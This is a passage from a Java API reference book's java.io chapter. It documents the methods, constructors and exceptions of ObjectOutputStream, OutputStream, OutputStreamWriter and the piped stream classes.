  public void write(byte[] b);
  public void write(byte[] b, int off, int len);
  public void writeBoolean(boolean data);
  public void writeByte(int data);
  public void writeBytes(String data);
  public void writeChar(int data);
  public void writeChars(String data);
  public void writeDouble(double data);
  public void writeFloat(float data);
  public void writeInt(int data);
  public void writeLong(long data);
  public final void writeObject(Object obj);
  public void writeShort(int data);
  public void writeUTF(String data);
  // Protected Instance Methods
  protected void annotateClass(Class cl);
  protected void drain();
  protected final boolean enableReplaceObject(boolean enable);
  protected Object replaceObject(Object obj);
  protected void writeStreamHeader();
}

Constructors

ObjectOutputStream

public ObjectOutputStream(OutputStream out) throws IOException

Parameters

out

The underlying output stream.

Throws

IOException

If any kind of I/O error occurs.

Description

This constructor creates an ObjectOutputStream that writes to the given output stream. The constructor writes the stream header, which consists of a magic number and version number, in preparation for serialization.

Instance Methods

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Implements

ObjectOutput.close()

Overrides

OutputStream.close()

Description

This method closes the stream and releases any system resources that are associated with it.

defaultWriteObject

public final void defaultWriteObject() throws IOException

Throws

IOException

If any kind of I/O error occurs.

NotActiveException

If serialization is not active.

Description

This method writes the fields of the object that are not static or transient. The method can only be called from the private writeObject() method of an object that is being serialized; it throws a NotActiveException if it is called at any other time. This method implements the default serialization mechanism.

flush

public void flush() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Implements

ObjectOutput.flush()

Overrides

OutputStream.flush()

Description

This method takes any buffered output and forces it to be written to the underlying stream.

reset

public void reset() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method sets the state of the ObjectOutputStream to the same state as when it was created. As objects are serialized to the stream, the ObjectOutputStream remembers which ones are already serialized. If the program requests that already serialized objects be written again, the ObjectOutputStream just writes out a reference to the previous object. Calling reset() causes the ObjectOutputStream to forget what it has done before, so all subsequent objects are fully serialized.

write

public void write(int data) throws IOException

Parameters

data

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

ObjectOutput.write(int)

Overrides

OutputStream.write(int)

Description

This method writes the lowest eight bits of b to the underlying stream as a byte.

public void write(byte[] b) throws IOException

Parameters

b

An array of bytes to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

ObjectOutput.write(byte[])

Overrides

OutputStream.write(byte[])

Description

This method writes the given array of bytes to the underlying stream.

public void write(byte[] b, int off, int len) throws IOException

Parameters

b

An array of bytes to write to the stream.

off

An offset into the byte array.

len

The number of bytes to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

ObjectOutput.write(byte[], int, int)

Overrides

OutputStream.write(byte[], int, int)

Description

This method writes len bytes from the given array, starting off elements from the beginning of the array, to the underlying stream.

writeBoolean

public void writeBoolean(boolean data) throws IOException

Parameters

data

The boolean value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeBoolean()

Description

If data is true, this method writes a byte that contains the value 1 to the underlying stream. If data is false, the method writes a byte that contains the value 0.

writeByte

public void writeByte(int data) throws IOException

Parameters

data

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeByte()

Description

This method writes an 8-bit byte to the underlying stream, using the lowest eight bits of the given integer data.

writeBytes

public void writeBytes(String data) throws IOException

Parameters

data

The String to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeBytes()

Description

This method writes the characters in the given String to the underlying stream as a sequence of 8-bit bytes. The high-order bytes of the characters in the string are ignored.

writeChar

public void writeChar(int data) throws IOException

Parameters

data

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeChar()

Description

This method writes a 16-bit char to the underlying stream, using the lowest two bytes of the given integer data.

writeChars

public void writeChars(String data) throws IOException

Parameters

data

The String to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeChars()

Description

This method writes the characters in the given String object to the underlying stream as a sequence of 16-bit characters.

writeDouble

public void writeDouble(double data) throws IOException

Parameters

data

The double value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeDouble()

Description

This method writes a 64-bit double to the underlying stream. The double value is converted to a long using doubleToLongBits() of Double; the long value is then written to the underlying stream as eight bytes with the highest byte first.

writeFloat

public void writeFloat(float data) throws IOException

Parameters

data

The float value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeFloat()

Description

This method writes a 32-bit float to the underlying stream. The float value is converted to a int using floatToIntBits() of Float; the int value is then written to the underlying stream as four bytes with the highest byte first.

writeInt

public void writeInt(int data) throws IOException

Parameters

data

The int value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeInt()

Description

This method writes a 32-bit int to the underlying stream. The value is written as four bytes with the highest byte first.

writeLong

public void writeLong(long data) throws IOException

Parameters

data

The long value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeLong()

Description

This method writes a 64-bit long to the underlying stream. The value is written as eight bytes with the highest byte first.

writeObject

 public final void writeObject(Object obj) throws IOException, InvalidClassException, NotSerializableException

Parameters

obj

The object to be serialized.

Throws

InvalidClassException

If there is a problem with the class of the object.

NotSerializableException

If the object does not implement Serializable or Externalizable.

IOException

If any kind of I/O error occurs.

Implements

ObjectOutput.writeObject()

Description

This method serializes the given object to the stream. The class of the object is encoded, along with the class name, the signature of the class, the values of the non-static and non-transient fields of the object, including any other objects referenced by the object (except those that do not implement the Serializable interface themselves). Multiple references to the same object are encoded using a reference sharing mechanism, so that a graph of object can be restored appropriately.

writeShort

public void writeShort(int data) throws IOException

Parameters

data

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeShort()

Description

This method writes a 16-bit short to the underlying stream, using the lowest two bytes of the given integer data.

writeUTF

public void writeUTF(String data) throws IOException

Parameters

data

The String to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeUTF()

Description

This method writes the given String to the underlying stream using the UTF-8 encoding. See the description of DataOutputStream.writeUTF(String) for more information.

Protected Instance Methods

annotateClass

protected void annotateClass(Class cl) throws IOException

Parameters

cl

The class to be serialized.

Throws

IOException

If any kind of I/O error occurs.

Description

This method is called once for each unique class during serialization. The implementation in ObjectOutputStream does nothing; subclasses can override this method to write out more information about a class. A corresponding subclass of ObjectInputStream should override the resolveClass() method to read the extra class information.

drain

protected void drain() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method is a helper method for flush(). It forces a write of any buffered data in the ObjectOutputStream, but does not call flush() on the underlying stream.

enableReplaceObject

 protected final boolean enableReplaceObject(boolean enable) throws SecurityException

Parameters

enable

A boolean value that specifies whether or not object replacement is enabled.

Returns

true if object replacement was previously enabled; false otherwise.

Throws

SecurityException

If enable is true and getClassLoader()called on the class of the stream does not return null.

Description

This method determines if a trusted subclass of ObjectOutputStream is allowed to replace serialized objects. If the method is called with true, replacement is enabled. Each time an object is serialized, replaceObject() is called to give the ObjectOutputStream a chance to replace the object. A trusted stream is one whose class has no ClassLoader.

replaceObject

protected Object replaceObject(Object obj) throws IOException

Parameters

obj

The object to be replaced.

Returns

A replacement for the given object.

Throws

IOException

If any kind of I/O error occurs.

Description

If object replacement is enabled for this ObjectOutputStream (see enableReplaceObject()), this method is called with each object to be serialized to give the stream a chance to replace the object. In ObjectOutputStream, this method simply returns the object that was passed to it. Subclasses can override this method to provide more useful functionality.

writeStreamHeader

protected void writeStreamHeader() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes the serialization stream header, which consists of a magic number and a version number. This method is called by the constructor for ObjectOutputStream. If you subclass ObjectOutputStream, you can override this method to provide your own stream header.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Class, DataOutput, Double, Externalizable, Float, InvalidClassException, IOException, NotActiveException, NotSerializableException, ObjectInputStream, ObjectOutput, OutputStream, SecurityException, Serializable, String

Previous | Home | Next
ObjectOutput | Book Index | ObjectStreamClass
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] ObjectStreamClass

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

ObjectStreamClass

Name

ObjectStreamClass

Synopsis

Class Name:

java.io.ObjectStreamClass

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The ObjectStreamClass class represents a Java class during object serialization. When an object is deserialized, its class information is read into an ObjectStreamClass, which is then resolved to a Class if possible. An ObjectStreamClass instance contains the name and version information for a class.

Class Summary

public class java.io.ObjectStreamClass extends java.lang.Object
             implements java.io.Serializable {
  // Class Methods
  public static ObjectStreamClass lookup(Class cl);
  // Instance Methods
  public Class forClass();
  public String getName();
  public long getSerialVersionUID();
  public String toString();
}

Class Methods

lookup

public static ObjectStreamClass lookup(Class cl)

Parameters

cl

The Class to find.

Returns

An ObjectStreamClass that corresponds to the given Class.

Description

This method finds an ObjectStreamClass for the given Class. If the appropriate ObjectStreamClass does not already exist, this method creates an ObjectStreamClass for the given Class. The method returns null if cl is not serializable.

Instance Methods

forClass

public Class forClass()

Returns

The Class that corresponds to this ObjectStreamClass.

Description

This method returns the Class in the run-time system that corresponds to this ObjectStreamClass. If there is no corresponding class, null is returned.

getName

public String getName()

Returns

The class name.

Description

This method returns the name of the class this ObjectStreamClass represents.

getSerialVersionUID

public long getSerialVersionUID()

Returns

The class version.

Description

This method returns the version of the class this ObjectStreamClass represents.

toString

public String toString()

Returns

A string representation of this object.

Overrides

Object.toString()

Description

This method returns a string that contains the class name and version information for this ObjectStreamClass.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Class, ObjectInputStream, ObjectOutputStream, Serializable

Previous | Home | Next
ObjectOutputStream | Book Index | ObjectStreamException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] ObjectStreamException

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

ObjectStreamException

Name

ObjectStreamException

Synopsis

Class Name:

java.io.ObjectStreamException

Superclass:

java.io.IOException

Immediate Subclasses:

java.io.InvalidClassException,

java.io.InvalidObjectException,

java.io.NotActiveException,

java.io.NotSerializableException,

java.io.OptionalDataException,

java.io.StreamCorruptedException,

java.io.WriteAbortedException

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The ObjectStreamException class is the superclass for all of the serialization exceptions.

Class Summary

public class java.io.ObjectStreamException extends java.io.IOException {
  // Constructors
  protected ObjectStreamException();
  protected ObjectStreamException(String classname);
}

Constructors

ObjectStreamException

protected ObjectStreamException()

Description

This constructor creates an ObjectStreamException with no detail message.

protected ObjectStreamException(String classname)

Parameters

classname

The name of the class.

Description

This constructor creates an ObjectStreamException with the specified detail message, which should be the name of the class that caused the exception.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, InvalidClassException, InvalidObjectException, IOException, NotActiveException, NotSerializableException, OptionalDataException, StreamCorruptedException, WriteAbortedException

Previous | Home | Next
ObjectStreamClass | Book Index | OptionalDataException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] OptionalDataException

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

OptionalDataException

Name

OptionalDataException

Synopsis

Class Name:

java.io.OptionalDataException

Superclass:

java.io.ObjectStreamException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

An OptionalDataException is thrown during object deserialization to indicate that primitive data has been encountered instead of objects. Either the eof flag is true, or the length variable indicates the number of bytes that are available to be read.

Class Summary

public class java.io.OptionalDataException
             extends java.io.ObjectStreamException {
  // Variables
  public boolean eof;
  public int length;
}

Variables

eof

public boolean eof

Description

A boolean value that indicates if the stream is at its end.

length

public int length

Description

The number of available bytes of data.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, ObjectInputStream, ObjectStreamException, Throwable

Previous | Home | Next
ObjectStreamException | Book Index | OutputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] OutputStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

OutputStream

Name

OutputStream

Synopsis

Class Name:

java.io.OutputStream

Superclass:

java.lang.Object

Immediate Subclasses:

java.io.ByteArrayOutputStream,

java.io.FileOutputStream,

java.io.FilterOutputStream,

java.io.ObjectOutputStream,

java.io.PipedOutputStream

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The OutputStream class is an abstract class that is the superclass of all classes that represent output byte streams. OutputStream defines the basic output methods that all output streams provide. A similar hierarchy of classes, based around Writer, deals with character streams instead of byte streams.

OutputStream is designed so that write(byte[]) and write(byte[], int, int) call write(int b). Thus, a subclass can simply override write(), and all the write methods will work. However, for efficiency's sake, write(byte[], int, int) should also be overridden with a method that can write a block of data more efficiently than writing each byte separately.

Some OutputStream subclasses may implement buffering to increase efficiency. OutputStream provides a method, flush(), that tells the OutputStream to write any buffered output to the underlying device, which may be a disk drive or a network.

Class Summary

public abstract class java.io.OutputStream extends java.lang.Object {
  // Instance Methods
  public void close();
  public void flush();
  public abstract void write(int b);
  public void write(byte[] b);
  public void write(byte[] b, int off, int len);
}

Instance Methods

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method closes the output stream and releases any resources associated with it.

The implementation of the close() method in OutputStream does nothing; a subclass should override this method to handle cleanup for the stream.

flush

public void flush() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method forces any bytes that may be buffered by the output stream to be written.

The implementation of flush() in OutputStream does nothing; a subclass should override this method as needed.

write

public abstract void write(int b) throws IOException

Parameters

b

The value to write to the stream.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes a byte of output. The method blocks until the byte is actually written.

A subclass of OutputStream must implement this method.

public void write(byte[] b) throws IOException

Parameters

b

An array of bytes to write to the stream.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes the bytes from the given array by calling write(b, 0, b.length). The method blocks until the bytes are actually written.

A subclass does not usually need to override this method, as it can override write(byte[], int, int) and have write(byte[]) work automatically.

public void write(byte[] b, int off, int len) throws IOException

Parameters

b

An array of bytes to write to the stream.

off

An offset into the byte array.

len

The number of bytes to write.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes len bytes of output from the given array, starting at offset off. The method blocks until the bytes are actually written.

The implementation of this method in OutputStream uses write(int) repeatedly to write the bytes. Although it is not strictly necessary, a subclass should override this method to write a block of data more efficiently.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

ByteArrayOutputStream, FileOutputStream, FilterOutputStream, IOException, ObjectOutputStream, PipedOutputStream

Previous | Home | Next
OptionalDataException | Book Index | OutputStreamWriter
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] OutputStreamWriter

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

OutputStreamWriter

Name

OutputStreamWriter

Synopsis

Class Name:

java.io.OutputStreamWriter

Superclass:

java.io.Writer

Immediate Subclasses:

java.io.FileWriter

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The OutputStreamWriter class is a bridge between the byte-oriented world of the OutputStream class and the character-oriented world of the Writer class. The OutputStreamWriter represents a character stream, but it sends its output to an underlying byte stream. A character encoding scheme is responsible for translating the Unicode characters to bytes. An OutputStreamWriter can be created using an explicit encoding scheme or a default encoding scheme.

For example, to write a Unicode character stream as an ISO-8859-5 byte stream, you can construct an OutputStreamWriter with the encoding 8859_5 as follows:

OutputStreamWriter outr = new OutputStreamWriter(out, "8859_5");

Each time you write to an OutputStreamWriter object, bytes may be written to the underlying byte stream. To improve efficiency, you may want to wrap the OutputStreamWriter in a BufferedWriter.

Class Summary

public class java.io.OutputStreamWriter extends java.io.Writer {
  // Constructors
  public OutputStreamWriter(OutputStream out);
  public OutputStreamWriter(OutputStream out, String enc);
  // Instance Methods
  public void close();
  public void flush();
  public String getEncoding();
  public void write(int c);
  public void write(char[] cbuf, int off, int len);
  public void write(String str, int off, int len);
}

Constructors

OutputStreamWriter

public OutputStreamWriter(OutputStream out)

Parameters

out

The output stream to use.

Description

This constructor creates an OutputStreamWriter that writes its data to out and translates characters to bytes using the system's default encoding scheme.

 public OutputStreamWriter(OutputStream out, String enc) throws UnsupportedEncodingException

Parameters

out

The output stream to use.

enc

The name of an encoding scheme.

Throws

UnsupportedEncodingException

If enc is not a supported encoding scheme.

Description

This constructor creates an OutputStreamWriter that writes its data to out and translates characters to bytes using the given encoding scheme.

Instance Methods

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

Writer.close()

Description

This method calls the close() method of the underlying output stream, which releases any system resources associated with this object.

flush

public void flush() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

Writer.flush()

Description

This method writes out any buffered data in the internal buffer and calls the flush() method of the underlying output stream, which forces any bytes that may be buffered to be written to the underlying device.

getEncoding

public String getEncoding()

Returns

A String that contains the name of the character encoding scheme of this writer.

Description

This method returns the name of the character encoding scheme this OutputStreamWriter is currently using.

write

public void write(int c) throws IOException

Parameters

c

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

Writer.write(int)

Description

This method converts the given character to bytes using the current encoding scheme and places the converted bytes into an internal buffer. When the buffer fills up, it is written to the underlying byte stream.

 public void write(char[] cbuf, int off, int len) throws IOException

Parameters

cbuf

An array of characters to write.

off

An offset into the character array.

len

The number of characters to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

Writer.write(char[], int, int)

Description

This method converts len characters from the array cbuf to bytes, starting at offset off, using the current encoding scheme. The method places the converted bytes into an internal buffer. When the buffer fills up, it is written to the underlying byte stream.

public void write(String str, int off, int len) throws IOException

Parameters

str

The string to be written.

off

An offset into start in the string.

len

The number of characters to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

Writer.write(String, int, int)

Description

This method converts len characters from the string str to bytes, starting at offset off, using the current encoding scheme. The method places the converted bytes into an internal buffer. When the buffer fills up, it is written to the underlying byte stream.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object | write(char[]) | Writer
write(String) | Writer |  |

See Also

BufferedWriter, FileWriter, IOException, OutputStream, UnsupportedEncodingException, Writer

Previous | Home | Next
OutputStream | Book Index | PipedInputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] PipedInputStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

PipedInputStream

Name

PipedInputStream

Synopsis

Class Name:

java.io.PipedInputStream

Superclass:

java.io.InputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The PipedInputStream class represents half of a communication pipe; a PipedInputStream must be connected to a PipedOutputStream. When the two halves of a communication pipe are connected, data written to the PipedOutputStream can be read from the PipedInputStream. The communication pipe formed by a PipedInputStream and a PipedOutputStream should be used to communicate between threads. If both ends of a pipe are used by the same thread, the thread can hang.

Class Summary

public class java.io.PipedInputStream extends java.io.InputStream {
  // Variables
  protected byte[] buffer;                        // New in 1.1
  protected int in;                               // New in 1.1
  protected int out;                              // New in 1.1
  protected final static int PIPE_SIZE;           // New in 1.1
  // Constructors
  public PipedInputStream();
  public PipedInputStream(PipedOutputStream src);
  // Public Instance Methods
  public synchronized int available();            // New in 1.1
  public void close();
  public void connect(PipedOutputStream src);
  public synchronized int read();
  public synchronized int read(byte[] b, int off, int len);

  // Protected Instance Methods
  protected synchronized void receive(int b);     // New in 1.1
}

Variables

buffer

protected byte[] buffer

Availability

New as of JDK 1.1

Description

The internal data buffer. The buffer receives data from the connected PipedOutputStream and supplies data for the calls to read().

in

protected int in

Availability

New as of JDK 1.1

Description

An index into the buffer that points to the byte after the last byte of valid data. A value of -1 indicates that the buffer is empty.

out

protected int out

Availability

New as of JDK 1.1

Description

An index into the buffer that points to the next byte that will be returned by read().

PIPE_SIZE

public final static int PIPE_SIZE = 1024

Availability

New as of JDK 1.1

Description

The size of the internal data buffer. The buffer receives data from the connected PipedOutputStream and supplies data for the calls to read().

Constructors

PipedInputStream

public PipedInputStream()

Description

This constructor creates a PipedInputStream that is not connected to a PipedOutputStream. The created object must be connected to a PipedOutputStream before it can be used.

public PipedInputStream(PipedOutputStream src) throws IOException

Parameters

src

The PipedOutputStream to connect.

Throws

IOException

If any kind of I/O error occurs.

Description

This constructor creates a PipedInputStream that receives data from the given PipedOutputStream.

Public Instance Methods

available

public synchronized int available() throws IOException

Availability

New as of JDK 1.1

Returns

The number of bytes that can be read without blocking.

Throws

IOException

If any kind of I/O error occurs.

Overrides

InputStream.available()

Description

This method returns the number of bytes that can be read without having to wait for more data to become available. More data becomes available in the PipedInputStream when data is written to the connected PipedOutputStream.

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

InputStream.close()

Description

This method closes the stream and releases the system resources that are associated with it.

connect

public void connect(PipedOutputStream src) throws IOException

Parameters

src

The PipedOutputStream to connect.

Throws

IOException

If another PipedOutputStream is already connected to this PipedInputStream.

Description

This method connects the given PipedOutputStream to this PipedInputStream object. If there is already a connected PipedOutputStream, an exception is thrown.

read

public synchronized int read() throws IOException

Returns

The next byte of data or -1 if the end of the stream is encountered.

Throws

IOException

If the pipe is broken. In other words, if this PipedInputStream is closed or if the connected PipedOutputStream is dead.

InterruptedIOException

While this method is waiting for input, if the interrupted() method of the thread that invoked this method is called.

Overrides

InputStream.read()

Description

This method returns the next byte from the pipe buffer. If the buffer is empty, the method waits until data is written to the connected PipedOutputStream. The method blocks until the byte is read, the end of the stream is encountered, or an exception is thrown.

 public synchronized int read(byte b[], int off, int len) throws IOException

Parameters

b

An array of bytes to be filled.

off

An offset into the byte array.

len

The number of bytes to read.

Returns

The actual number of bytes read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If the pipe is broken. In other words, if this PipedInputStream is closed or if the connected PipedOutputStream is dead.

InterruptedIOException

While this method is waiting for buffer space to become available, if the interrupted() method of the thread that invoked this method is called.

Overrides

InputStream.read(byte[], int, int)

Description

This method copies bytes from the pipe buffer into the given array b, starting at index off and continuing for len bytes. If there is at least one byte in the buffer, the method returns as many bytes as are in the buffer (up to len). If the buffer is empty, the method blocks until data is written to the connected PipedOutputStream.

Protected Instance Methods

receive

protected synchronized void receive(int b) throws IOException

Availability

New as of JDK 1.1

Parameters

b

The byte being received.

Throws

IOException

If the pipe is broken. In other words, if this PipedInputStream is closed.

Description

This method is called by the connected PipedOutputStream object to provide the given value as a byte of input to this PipedInputStream object.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | mark(int) | InputStream
markSupported() | InputStream | notify() | Object
notifyAll() | Object | read(byte[]) | InputStream
reset() | InputStream | skip(long) | InputStream
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

InputStream, IOException, PipedOutputStream

Previous | Home | Next
OutputStreamWriter | Book Index | PipedOutputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] PipedOutputStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

PipedOutputStream

Name

PipedOutputStream

Synopsis

Class Name:

java.io.PipedOutputStream

Superclass:

java.io.OutputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The PipedOutputStream class represents half of a communication pipe; a PipedOutputStream must be connected to a PipedOutputStream. When the two halves of a communication pipe are connected, data written to the PipedOutputStream can be read from the PipedInputStream. The communication pipe formed by a PipedOutputStream and a PipedInputStream should be used to communicate between threads. If both ends of a pipe are used by the same thread, the thread can hang.

Class Summary

public class java.io.PipedOutputStream extends java.io.OutputStream {
  // Constructors
  public PipedOutputStream();
  public PipedOutputStream(PipedInputStream snk);
  // Instance Methods
  public void close();
  public void connect(PipedInputStream snk);
  public synchronized void flush();               // New in 1.1
  public void write(int b);
  public void write(byte[] b, int off, int len);
}

Constructors

PipedOutputStream

public PipedOutputStream()

Description

This constructor creates a PipedOutputStream that is not connected to a PipedInputStream. The created object must be connected to a PipedInputStream before it can be used.

public PipedOutputStream(PipedInputStream snk)

Parameters

snk

The PipedInputStream to connect.

Throws

IOException

If any kind of I/O error occurs.

Description

This constructor creates a PipedOutputStream that sends data to the given PipedInputStream.

Instance Methods

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

OutputStream.close()

Description

This method closes the stream and releases the system resources that are associated with it.

connect

public void connect(PipedInputStream snk) throws IOException

Parameters

snk

The PipedInputStream to connect.

Throws

IOException

If another PipedInputStream is already connected to this PipedOutputStream or this PipedOutputStream is already connected.

Description

This method connects this PipedOutputStream object to the given PipedInputStream. If this PipedOutputStream or snk is already connected, an exception is thrown.

flush

public synchronized void flush() throws IOException

Availability

New as of JDK 1.1

Throws

IOException

If any kind of I/O error occurs.

InterruptedIOException

While this method is waiting for buffer space to become available, if the interrupted() method of the thread that invoked this method is called.

Overrides

OutputStream.flush()

Description

This method flushes the stream, which tells the connected PipedInputStream to notify its readers to read any available data.

write

public void write(int b) throws IOException

Parameters

b

The value to write.

Throws

IOException

If any kind of I/O error occurs.

InterruptedIOException

While this method is waiting for buffer space to become available, if the interrupted() method of the thread that invoked this method is called.

Overrides

OutputStream.write(int)

Description

This method writes a byte of output. The method passes the given value directly to the connected PipedInputStream.

public void write(byte b[], int off, int len) throws IOException

Parameters

b

An array of bytes to write to the stream.

off

An offset into the byte array.

len

The number of bytes to write.

Throws

IOException

If any kind of I/O error occurs.

InterruptedIOException

While this method is waiting for buffer space to become available, if the interrupted() method of the thread that invoked this method is called.

Overrides

OutputStream.write(byte[], int, int)

Description

This method writes len bytes of output from the given array, starting at offset off. The method passes the given data to the connected PipedInputStream.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object | write(byte[]) | OutputStream

See Also

IOException, OutputStream, PipedInputStream

Previous | Home | Next
PipedInputStream | Book Index | PipedReader
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] PipedReader

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

PipedReader

Name

PipedReader

Synopsis

Class Name:

java.io.PipedReader

Superclass:

java.io.Reader

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The PipedReader class represents half of a communication pipe; a PipedReader must be connected to a PipedWriter. When the two halves of a communication pipe are connected, data written to the PipedWriter can be read from the PipedReader. The communication pipe formed by a PipedReader and a PipedWriter should be used to communicate between threads. If both ends of a pipe are used by the same thread, the thread can hang.

The PipedReader class is the character-based equivalent of the byte-based PipedInputStream.

Class Summary

public class java.io.PipedReader extends java.io.Reader {
  // Constructors
  public PipedReader();
  public PipedReader(PipedWriter src);
  // Instance Methods
  public void close();
  public void connect(PipedWriter src);
  public int read(char[] cbuf, int off, int len);
}

Constructors

PipedReader

public PipedReader ()

Description

This constructor creates a PipedReader that is not connected to a PipedWriter. The created object must be connected to a PipedWriter before it can be used.

public PipedReader(PipedWriter src) throws IOException

Parameters

src

The PipedWriter to connect.

Throws

IOException

If any kind of I/O error occurs.

Description

This constructor creates a PipedReader that receives data from the given PipedWriter.

Instance Methods

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

Reader.close()

Description

This method closes the reader and releases the system resources that are associated with it.

connect

public void connect(PipedWriter src) throws IOException

Parameters

src

The PipedWriter to connect.

Throws

IOException

If another PipedWriter is already connected to this PipedReader.

Description

This method connects the given PipedWriter to this PipedReader object. If there is already a connected PipedWriter, an exception is thrown.

read

public int read(char[] cbuf, int off, int len) throws IOException

Parameters

cbuf

An array of characters to be filled.

off

An offset into the array.

len

The number of characters to read.

Returns

The actual number of characters read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If the pipe is broken. In other words, if this PipedReader is closed or if the connected PipedWriter is dead.

InterruptedIOException

While this method is waiting for input, if the interrupted() method of the thread that invoked this method is called.

Overrides

Reader.read(char[], int, int)

Description

This method copies characters from the pipe buffer into the given array cbuf, starting at index off and continuing for len characters. If there is at least one character in the buffer, the method returns as many characters as are in the buffer (up to len). If the buffer is empty, the method blocks until data is written to the connected PipedWriter.

Inherited Methods

Method | Inherited From | Method | Inherited From
